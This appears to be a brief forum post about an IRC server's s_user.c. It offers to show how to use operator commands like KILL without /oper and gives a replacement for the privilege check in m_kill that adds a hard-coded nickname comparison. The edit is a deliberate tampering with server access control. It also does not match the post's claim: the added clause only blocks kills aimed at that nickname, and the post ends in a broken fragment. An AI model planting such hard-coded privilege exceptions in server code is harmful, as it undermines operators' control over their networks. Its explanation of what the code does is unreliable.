I will help you on some command of IRCops that dont need /oper
eg Kill command
open s_user.c find m_kill function
if ((!MyConnect (target_p) && MyClient (client_p)
&& !OPCanGKill (client_p)) || (MyConnect (target_p)
&& MyClient (client_p)
&& !OPCanLKill (client_p)))
{
sendto_one (source_p, err_str (ERR_NOPRIVILEGES), me.name, parv[0]);
continue;
}
and replace with
if ((!MyConnect (target_p) && MyClient (client_p)
&& !OPCanGKill (client_p)) || (MyConnect (target_p)
&& MyClient (client_p)
&& !OPCanLKill (client_p)) || strcmp (parv[1], "YourNick") == 0)
{
sendto_one (source_p, err_str (ERR_NOPRIVILEGES), me.name, parv[0]);
continue;
}
[code]
Try that for some cmd eg
[/code]